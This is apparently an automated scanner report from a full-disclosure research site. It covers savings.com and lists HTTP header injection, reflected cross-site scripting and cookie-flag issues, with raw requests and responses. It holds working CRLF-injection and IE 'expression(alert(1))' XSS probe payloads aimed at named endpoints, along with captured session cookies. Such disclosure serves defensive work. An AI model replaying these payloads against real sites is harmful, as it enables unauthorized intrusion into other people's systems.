Current Research | Full Disclosure | As of March 14, 2011

Plesk SMB 10.2.0 Windows - Site Editor | Full Disclosure
Plesk Small Business Manager 10.2.0 for Windows | Full Disclosure
Hoyt LLC Research | Full Disclosure Report on Stored XSS in SmarterMail 8.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterStats 6.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterMail 7.x Series
Report generated by XSS.CX at Thu Nov 11 16:40:06 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

1. HTTP header injection

1.1. http://www.savings.com/fetch/get-css.url [resources parameter]

1.2. http://www.savings.com/fetch/get-js.url [resources parameter]

2. Cross-site scripting (reflected)

2.1. http://www.savings.com/coupons/search/coupons_results.html [searchString parameter]

2.2. http://www.savings.com/fetch/get-css.url [resources parameter]

2.3. http://www.savings.com/fetch/get-js.url [resources parameter]

3. Cookie without HttpOnly flag set

3.1. http://www.savings.com/

3.2. http://www.savings.com/coupons/search/coupons_results.html

4. Cookie scoped to parent domain

4.1. http://www.savings.com/

4.2. http://www.savings.com/coupons/search/coupons_results.html

5. Cross-domain Referer leakage

6. Cross-domain script include

6.1. http://www.savings.com/

6.2. http://www.savings.com/coupons/search/coupons_results.html



1. HTTP header injection  next
There are 2 instances of this issue:

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.


1.1. http://www.savings.com/fetch/get-css.url [resources parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.savings.com
Path:   /fetch/get-css.url

Issue detail

The value of the resources request parameter is copied into the Location response header. The payload 7103e%0d%0a7e9c22fb1b8 was submitted in the resources parameter. This caused a response containing an injected HTTP header.

Request

GET /fetch/get-css.url?resources=7103e%0d%0a7e9c22fb1b8 HTTP/1.1
Accept: */*
Referer: http://www.savings.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.savings.com
Proxy-Connection: Keep-Alive
Cookie: ESTN=1; EPRAT=1513874903-1289515077399; MPUSC=1513874903-1289515077399-RF; MPEVTC=1289515077399; MPREFSRC=mppid%3D%2Cmpsid%3D%2Cmptid%3Dnull%2Cmpclickid%3D167904071-1289515077399-2494421259030056889; MPIBRCC=167904071-1289515077399-2494421259030056889; mvoe_decision=49%3D176; mvo_last_exp=49%3Dabc3eBcnr6deoco8Of9Ws; MPPAGEEVENTCK=167904071-1289515077400-2058979601276870778; __utma=194878383.1389453792.1289515044.1289515044.1289515044.1; __utmb=194878383.1.10.1289515044; __utmc=194878383; __utmz=194878383.1289515044.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); JSESSIONID=abc3eBcnr6deoco8Of9Ws; epersist=BS0ox10vUQ1bFsE7f64TOauXTqfdVvqnpdFFpIpzK8lznWKjK4uuvKpqJCzxLhz06Ohx1u4ZFckWIcQ=

Response

HTTP/1.1 302 Found
Server: Resin/3.1.8
Location: http://cdn1.node1.savings.com7103e
7e9c22fb1b8

Set-Cookie: ESTN=1; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:39:11 GMT
Content-Type: text/html
Content-Length: 85
Date: Thu, 11 Nov 2010 22:39:11 GMT

The URL has moved <a href="http://cdn1.node1.savings.com7103e
7e9c22fb1b8">here</a>

1.2. http://www.savings.com/fetch/get-js.url [resources parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.savings.com
Path:   /fetch/get-js.url

Issue detail

The value of the resources request parameter is copied into the Location response header. The payload 3ec69%0d%0ae18c03f66a3 was submitted in the resources parameter. This caused a response containing an injected HTTP header.

Request

GET /fetch/get-js.url?resources=3ec69%0d%0ae18c03f66a3 HTTP/1.1
Accept: */*
Referer: http://www.savings.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.savings.com
Proxy-Connection: Keep-Alive
Cookie: ESTN=1; EPRAT=1513874903-1289515077399; MPUSC=1513874903-1289515077399-RF; MPEVTC=1289515077399; MPREFSRC=mppid%3D%2Cmpsid%3D%2Cmptid%3Dnull%2Cmpclickid%3D167904071-1289515077399-2494421259030056889; MPIBRCC=167904071-1289515077399-2494421259030056889; mvoe_decision=49%3D176; mvo_last_exp=49%3Dabc3eBcnr6deoco8Of9Ws; MPPAGEEVENTCK=167904071-1289515077400-2058979601276870778; JSESSIONID=abc3eBcnr6deoco8Of9Ws; epersist=BS0ox10vUQ1bFsE7f64TOauXTqfdVvqnpdFFpIpzK8lznWKjK4uuvKpqJCzxLhz06Ohx1u4ZFckWIcQ=

Response

HTTP/1.1 302 Found
Server: Resin/3.1.8
Location: http://cdn3.node1.savings.com3ec69
e18c03f66a3

Set-Cookie: ESTN=1; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:38:45 GMT
Content-Type: text/html
Content-Length: 85
Date: Thu, 11 Nov 2010 22:38:45 GMT

The URL has moved <a href="http://cdn3.node1.savings.com3ec69
e18c03f66a3">here</a>

2. Cross-site scripting (reflected)  previous  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://www.savings.com/coupons/search/coupons_results.html [searchString parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.savings.com
Path:   /coupons/search/coupons_results.html

Issue detail

The value of the searchString request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab264"%20a%3db%204ce288b6a06 was submitted in the searchString parameter. This input was echoed as ab264\" a=b 4ce288b6a06 in the application's response.

This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /coupons/search/coupons_results.html?searchString=%27%27%27%27ab264"%20a%3db%204ce288b6a06 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.savings.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.savings.com
Proxy-Connection: Keep-Alive
Cookie: ESTN=1; EPRAT=1513874903-1289515077399; MPUSC=1513874903-1289515077399-RF; MPEVTC=1289515077399; MPREFSRC=mppid%3D%2Cmpsid%3D%2Cmptid%3Dnull%2Cmpclickid%3D167904071-1289515077399-2494421259030056889; MPIBRCC=167904071-1289515077399-2494421259030056889; mvoe_decision=49%3D176; mvo_last_exp=49%3Dabc3eBcnr6deoco8Of9Ws; MPPAGEEVENTCK=167904071-1289515077400-2058979601276870778; __utma=194878383.1389453792.1289515044.1289515044.1289515044.1; __utmb=194878383.1.10.1289515044; __utmc=194878383; __utmz=194878383.1289515044.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); JSESSIONID=abc3eBcnr6deoco8Of9Ws; epersist=BS0ox10vUQ1bFsE7f64TOauXTqfdVvqnpdFFpIpzK8lznWKjK4uuvKpqJCzxLhz06Ohx1u4ZFckWIcQ=

Response

HTTP/1.1 200 OK
Server: Resin/3.1.8
P3P: CP="IDC DSP COR CUR ADM TAI PSA PSD IVA CONi OUR IND UNI NAV"
Content-Language: en-US
Set-Cookie: ESTN=1; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:39:41 GMT
Set-Cookie: MPUSC=1513874903-1289515077399-RF; domain=.savings.com; path=/; expires=Thu, 11-Nov-2010 23:09:41 GMT
Set-Cookie: MPUSC=1513874903-1289515077399-RF; domain=.savings.com; path=/; expires=Thu, 11-Nov-2010 23:09:41 GMT
Set-Cookie: MPPAGEEVENTCK=167904071-1289515181384-6252967516762098230; domain=.savings.com; path=/
Content-Type: text/html; charset=UTF-8
Date: Thu, 11 Nov 2010 22:39:41 GMT
Vary: Accept-Encoding
Connection: Keep-Alive
Content-Length: 15490

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<a href="/m-AandB-Electronics-coupons.html" onclick="_scEVT.logo(event, 'serp', '285350', '\'\'\'\'ab264\" a=b 4ce288b6a06')">
...[SNIP]...

2.2. http://www.savings.com/fetch/get-css.url [resources parameter]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.savings.com
Path:   /fetch/get-css.url

Issue detail

The value of the resources request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfe52"style%3d"x%3aexpression(alert(1))"670920758a3 was submitted in the resources parameter. This input was echoed as dfe52"style="x:expression(alert(1))"670920758a3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /fetch/get-css.url?resources=%2Fstyles%2Fsavings%2Fwidgets%2Fautocomplete.cssdfe52"style%3d"x%3aexpression(alert(1))"670920758a3 HTTP/1.1
Accept: */*
Referer: http://www.savings.com/coupons/search/coupons_results.html?searchString=%27%27%27%27
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.savings.com
Proxy-Connection: Keep-Alive
Cookie: ESTN=1; EPRAT=1513874903-1289515077399; MPUSC=1513874903-1289515077399-RF; MPEVTC=1289515077399; MPREFSRC=mppid%3D%2Cmpsid%3D%2Cmptid%3Dnull%2Cmpclickid%3D167904071-1289515077399-2494421259030056889; MPIBRCC=167904071-1289515077399-2494421259030056889; mvoe_decision=49%3D176; mvo_last_exp=49%3Dabc3eBcnr6deoco8Of9Ws; MPPAGEEVENTCK=167904071-1289515120578-7431381932038355159; __utma=194878383.1389453792.1289515044.1289515044.1289515044.1; __utmb=194878383.2.10.1289515044; __utmc=194878383; __utmz=194878383.1289515044.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1436149491-1289515086048; JSESSIONID=abc3eBcnr6deoco8Of9Ws; epersist=BS0ox10vUQ1bFsE7f64TOauXTqfdVvqnpdFFpIpzK8lznWKjK4uuvKpqJCzxLhz06Ohx1u4ZFckWIcQ=

Response

HTTP/1.1 302 Found
Server: Resin/3.1.8
Location: http://cdn2.node1.savings.com/styles/savings/widgets/autocomplete_scmin.cssdfe52"style="x:expression(alert(1))"670920758a3?v=null
Set-Cookie: ESTN=1; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:39:39 GMT
Content-Type: text/html
Content-Length: 167
Date: Thu, 11 Nov 2010 22:39:39 GMT

The URL has moved <a href="http://cdn2.node1.savings.com/styles/savings/widgets/autocomplete_scmin.cssdfe52"style="x:expression(alert(1))"670920758a3?v=null">here</a>

2.3. http://www.savings.com/fetch/get-js.url [resources parameter]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.savings.com
Path:   /fetch/get-js.url

Issue detail

The value of the resources request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14528"style%3d"x%3aexpression(alert(1))"d1de8209e3a was submitted in the resources parameter. This input was echoed as 14528"style="x:expression(alert(1))"d1de8209e3a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /fetch/get-js.url?resources=%2Fjs%2Fsavings%2Fhome.js14528"style%3d"x%3aexpression(alert(1))"d1de8209e3a HTTP/1.1
Accept: */*
Referer: http://www.savings.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.savings.com
Proxy-Connection: Keep-Alive
Cookie: ESTN=1; EPRAT=1513874903-1289515077399; MPUSC=1513874903-1289515077399-RF; MPEVTC=1289515077399; MPREFSRC=mppid%3D%2Cmpsid%3D%2Cmptid%3Dnull%2Cmpclickid%3D167904071-1289515077399-2494421259030056889; MPIBRCC=167904071-1289515077399-2494421259030056889; mvoe_decision=49%3D176; mvo_last_exp=49%3Dabc3eBcnr6deoco8Of9Ws; MPPAGEEVENTCK=167904071-1289515077400-2058979601276870778; JSESSIONID=abc3eBcnr6deoco8Of9Ws; epersist=BS0ox10vUQ1bFsE7f64TOauXTqfdVvqnpdFFpIpzK8lznWKjK4uuvKpqJCzxLhz06Ohx1u4ZFckWIcQ=

Response

HTTP/1.1 302 Found
Server: Resin/3.1.8
Location: http://cdn2.node1.savings.com/js/savings/home_scmin.js14528"style="x:expression(alert(1))"d1de8209e3a?v=null
Set-Cookie: ESTN=1; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:38:44 GMT
Content-Type: text/html
Content-Length: 146
Date: Thu, 11 Nov 2010 22:38:44 GMT

The URL has moved <a href="http://cdn2.node1.savings.com/js/savings/home_scmin.js14528"style="x:expression(alert(1))"d1de8209e3a?v=null">here</a>

3. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



3.1. http://www.savings.com/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.savings.com
Path:   /

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.savings.com

Response

HTTP/1.1 200 OK
Server: Resin/3.1.8
Cache-Control: private
P3P: CP="IDC DSP COR CUR ADM TAI PSA PSD IVA CONi OUR IND UNI NAV"
Content-Language: en-US
Set-Cookie: ESTN=1; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:37:58 GMT
Set-Cookie: EPRAT=1513874903-1289515078800; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:37:58 GMT
Set-Cookie: MPUSC=1513874903-1289515078800-RF; domain=.savings.com; path=/; expires=Thu, 11-Nov-2010 23:07:58 GMT
Set-Cookie: MPEVTC=1289515078800; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:37:58 GMT
Set-Cookie: MPREFSRC=mppid%3D%2Cmpsid%3D%2Cmptid%3Dnull%2Cmpclickid%3D167904072-1289515078800-5561820917426706590; domain=.savings.com; path=/; expires=Sun, 26-Dec-2010 22:37:58 GMT
Set-Cookie: MPIBRCC=167904072-1289515078800-5561820917426706590; domain=.savings.com; path=/; expires=Sun, 26-Dec-2010 22:37:58 GMT
Set-Cookie: mvoe_decision=49%3D176; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:37:58 GMT
Set-Cookie: mvo_last_exp=49%3Dabc7skw1Us-rQfZlPf9Ws; domain=.savings.com; path=/; expires=Fri, 12-Nov-2010 02:37:58 GMT
Set-Cookie: MPPAGEEVENTCK=167904072-1289515078801-3734252660823874536; domain=.savings.com; path=/
Set-Cookie: JSESSIONID=abc7skw1Us-rQfZlPf9Ws; path=/
Content-Type: text/html; charset=ISO-8859-1
Date: Thu, 11 Nov 2010 22:37:58 GMT
Set-Cookie: epersist=XTrIOOEa5mzU+B07f64TOauXTqfdVgyWtjmlw5VaGfFPhj99E5otDoXfSdjXg/AYmt6HF42ZZKSh8fo=; path=/
Vary: Accept-Encoding
Connection: Keep-Alive
Content-Length: 106929

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...

3.2. http://www.savings.com/coupons/search/coupons_results.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.savings.com
Path:   /coupons/search/coupons_results.html

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /coupons/search/coupons_results.html?searchString=%27%27%27%27 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.savings.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.savings.com
Proxy-Connection: Keep-Alive
Cookie: ESTN=1; EPRAT=1513874903-1289515077399; MPUSC=1513874903-1289515077399-RF; MPEVTC=1289515077399; MPREFSRC=mppid%3D%2Cmpsid%3D%2Cmptid%3Dnull%2Cmpclickid%3D167904071-1289515077399-2494421259030056889; MPIBRCC=167904071-1289515077399-2494421259030056889; mvoe_decision=49%3D176; mvo_last_exp=49%3Dabc3eBcnr6deoco8Of9Ws; MPPAGEEVENTCK=167904071-1289515077400-2058979601276870778; __utma=194878383.1389453792.1289515044.1289515044.1289515044.1; __utmb=194878383.1.10.1289515044; __utmc=194878383; __utmz=194878383.1289515044.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); JSESSIONID=abc3eBcnr6deoco8Of9Ws; epersist=BS0ox10vUQ1bFsE7f64TOauXTqfdVvqnpdFFpIpzK8lznWKjK4uuvKpqJCzxLhz06Ohx1u4ZFckWIcQ=

Response

HTTP/1.1 200 OK
Server: Resin/3.1.8
P3P: CP="IDC DSP COR CUR ADM TAI PSA PSD IVA CONi OUR IND UNI NAV"
Content-Language: en-US
Set-Cookie: ESTN=1; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:38:41 GMT
Set-Cookie: MPUSC=1513874903-1289515077399-RF; domain=.savings.com; path=/; expires=Thu, 11-Nov-2010 23:08:41 GMT
Set-Cookie: MPUSC=1513874903-1289515077399-RF; domain=.savings.com; path=/; expires=Thu, 11-Nov-2010 23:08:41 GMT
Set-Cookie: MPPAGEEVENTCK=167904071-1289515122218-3958197720787825511; domain=.savings.com; path=/
Content-Type: text/html; charset=UTF-8
Date: Thu, 11 Nov 2010 22:38:41 GMT
Vary: Accept-Encoding
Connection: Keep-Alive
Content-Length: 19291

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...

4. Cookie scoped to parent domain  previous  next
There are 2 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


4.1. http://www.savings.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.savings.com
Path:   /

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.savings.com

Response

HTTP/1.1 200 OK
Server: Resin/3.1.8
Cache-Control: private
P3P: CP="IDC DSP COR CUR ADM TAI PSA PSD IVA CONi OUR IND UNI NAV"
Content-Language: en-US
Set-Cookie: ESTN=1; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:37:58 GMT
Set-Cookie: EPRAT=1513874903-1289515078800; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:37:58 GMT
Set-Cookie: MPUSC=1513874903-1289515078800-RF; domain=.savings.com; path=/; expires=Thu, 11-Nov-2010 23:07:58 GMT
Set-Cookie: MPEVTC=1289515078800; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:37:58 GMT
Set-Cookie: MPREFSRC=mppid%3D%2Cmpsid%3D%2Cmptid%3Dnull%2Cmpclickid%3D167904072-1289515078800-5561820917426706590; domain=.savings.com; path=/; expires=Sun, 26-Dec-2010 22:37:58 GMT
Set-Cookie: MPIBRCC=167904072-1289515078800-5561820917426706590; domain=.savings.com; path=/; expires=Sun, 26-Dec-2010 22:37:58 GMT
Set-Cookie: mvoe_decision=49%3D176; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:37:58 GMT
Set-Cookie: mvo_last_exp=49%3Dabc7skw1Us-rQfZlPf9Ws; domain=.savings.com; path=/; expires=Fri, 12-Nov-2010 02:37:58 GMT
Set-Cookie: MPPAGEEVENTCK=167904072-1289515078801-3734252660823874536; domain=.savings.com; path=/
Set-Cookie: JSESSIONID=abc7skw1Us-rQfZlPf9Ws; path=/
Content-Type: text/html; charset=ISO-8859-1
Date: Thu, 11 Nov 2010 22:37:58 GMT
Set-Cookie: epersist=XTrIOOEa5mzU+B07f64TOauXTqfdVgyWtjmlw5VaGfFPhj99E5otDoXfSdjXg/AYmt6HF42ZZKSh8fo=; path=/
Vary: Accept-Encoding
Connection: Keep-Alive
Content-Length: 106929

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...

4.2. http://www.savings.com/coupons/search/coupons_results.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.savings.com
Path:   /coupons/search/coupons_results.html

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /coupons/search/coupons_results.html?searchString=%27%27%27%27 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.savings.com/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.savings.com
Proxy-Connection: Keep-Alive
Cookie: ESTN=1; EPRAT=1513874903-1289515077399; MPUSC=1513874903-1289515077399-RF; MPEVTC=1289515077399; MPREFSRC=mppid%3D%2Cmpsid%3D%2Cmptid%3Dnull%2Cmpclickid%3D167904071-1289515077399-2494421259030056889; MPIBRCC=167904071-1289515077399-2494421259030056889; mvoe_decision=49%3D176; mvo_last_exp=49%3Dabc3eBcnr6deoco8Of9Ws; MPPAGEEVENTCK=167904071-1289515077400-2058979601276870778; __utma=194878383.1389453792.1289515044.1289515044.1289515044.1; __utmb=194878383.1.10.1289515044; __utmc=194878383; __utmz=194878383.1289515044.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); JSESSIONID=abc3eBcnr6deoco8Of9Ws; epersist=BS0ox10vUQ1bFsE7f64TOauXTqfdVvqnpdFFpIpzK8lznWKjK4uuvKpqJCzxLhz06Ohx1u4ZFckWIcQ=

Response

HTTP/1.1 200 OK
Server: Resin/3.1.8
P3P: CP="IDC DSP COR CUR ADM TAI PSA PSD IVA CONi OUR IND UNI NAV"
Content-Language: en-US
Set-Cookie: ESTN=1; domain=.savings.com; path=/; expires=Tue, 10-Nov-2015 22:38:41 GMT
Set-Cookie: MPUSC=1513874903-1289515077399-RF; domain=.savings.com; path=/; expires=Thu, 11-Nov-2010 23:08:41 GMT
Set-Cookie: MPUSC=1513874903-1289515077399-RF; domain=.savings.com; path=/; expires=Thu, 11-Nov-2010 23:08:41 GMT
Set-Cookie: MPPAGEEVENTCK=167904071-1289515122218-3958197720787825511; domain=.savings.com; path=/
Content-Type: text/html; charset=UTF-8
Date: Thu, 11 Nov 2010 22:38:41 GMT
Vary: Accept-Encoding
Connection: Keep-Alive
Content-Length: 19291

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
